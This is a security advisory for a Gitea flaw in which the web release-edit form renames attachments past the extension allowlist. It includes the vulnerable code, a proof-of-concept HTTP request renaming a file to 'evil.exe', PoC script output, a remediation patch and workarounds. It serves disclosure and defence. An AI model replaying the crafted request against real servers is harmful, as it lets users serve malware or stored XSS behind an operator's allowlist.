Skip to content

GHSA-25gq-j9jx-43pg CVE-2026-58428 GO-2026-6028

Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Medium Go
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.46%
Chance of exploitation in the next 30 days. Higher than 40.18% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-424 Improper Protection of Alternate Path
CWE-434 Unrestricted Upload of File with Dangerous Type
Fix
Available
2 packages have a fixed version

Description

Summary

The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.

A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.

Details

Vulnerable code

routers/web/repo/release.go:597 EditReleasePost:

const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
    for k, v := range ctx.Req.Form {
        if strings.HasPrefix(k, editPrefix) {
            editAttachments[k[len(editPrefix):]] = v[0]
        }
    }
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
    rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
    ctx.ServerError("UpdateRelease", err)
    return
}

services/release/release.go:321 -- the unvalidated write:

for uuid, newName := range editAttachments {
    if !deletedUUIDs.Contains(uuid) {
        if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
            UUID: uuid,
            Name: newName,
        }, "name"); err != nil {
            return err
        }
    }
}

No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.

Comparison: the parent fix on the API path

routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):

if err := attachment_service.UpdateAttachment(ctx,
        setting.Repository.Release.AllowedTypes, attach); err != nil {
    if upload.IsErrFileTypeForbidden(err) {
        ctx.Error(http.StatusUnprocessableEntity, "", err)
        return
    }
    ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
    return
}

Delegates to:

// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
    if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
        return err
    }
    return repo_model.UpdateAttachment(ctx, attach)
}

The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.

Proof of Concept

Tested live against:

  • Gitea v1.26.1 community edition, Linux amd64, SQLite, Go 1.26.2
  • app.ini includes [repository.release] ALLOWED_TYPES = .zip,.tar.gz
  • Two users: admin (superuser, created via gitea admin user create --admin), bob (regular, repo owner of bob/test-repo)

Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.

Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.

PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json

{"name":"evil.exe"}

Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).

Step 3: The attack. The web release edit form does NOT enforce the allowlist.

POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded

tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe

Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.

Step 4: Verify.

GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1

Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.

A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:

GITEA-R007_release_edit_extension_bypass.py

[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'

[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.

Impact

Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):

  • Pre-condition: operator has set Repository.Release.AllowedTypes to a non-empty allowlist (a reasonable hardening posture when restricting release uploads).
  • Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
  • Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
  • Practical impact:
    • Distribute malware files (e.g., .exe, .dmg, .msi, .apk) masquerading as a tagged release attachment
    • If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
    • Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event

Suggested remediation

Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:

import (
    "code.gitea.io/gitea/modules/setting"
    "code.gitea.io/gitea/services/context/upload"
)

// inside UpdateRelease, replace the editAttachments loop:
for uuid, newName := range editAttachments {
    if deletedUUIDs.Contains(uuid) {
        continue
    }
    if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {
        return err
    }
    if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
        UUID: uuid,
        Name: newName,
    }, "name"); err != nil {
        return err
    }
}

The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.

Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.

Workaround for operators (no Gitea change required)

Until a patched release lands, operators can mitigate by either:

  1. Removing the Repository.Release.AllowedTypes allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move.
  2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious attachment-edit-* form fields on POST to /<owner>/<repo>/releases/edit/* -- viable but operationally fragile.
  3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.

A vendor patch is the right answer; the workarounds above are stopgaps.

Credit

Jose Rivas (bl4cksku111.com)

References

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-424: Improper Protection of Alternate Path

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

How to prevent it
  • Architecture and Design: Deploy different layers of protection to implement security in depth.

CWE-434: Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

How to prevent it
  • Architecture and Design: Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Architecture and Design: Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
  • Architecture and Design: Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
  • Implementation: Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
  • Implementation: When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
  • Implementation: Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor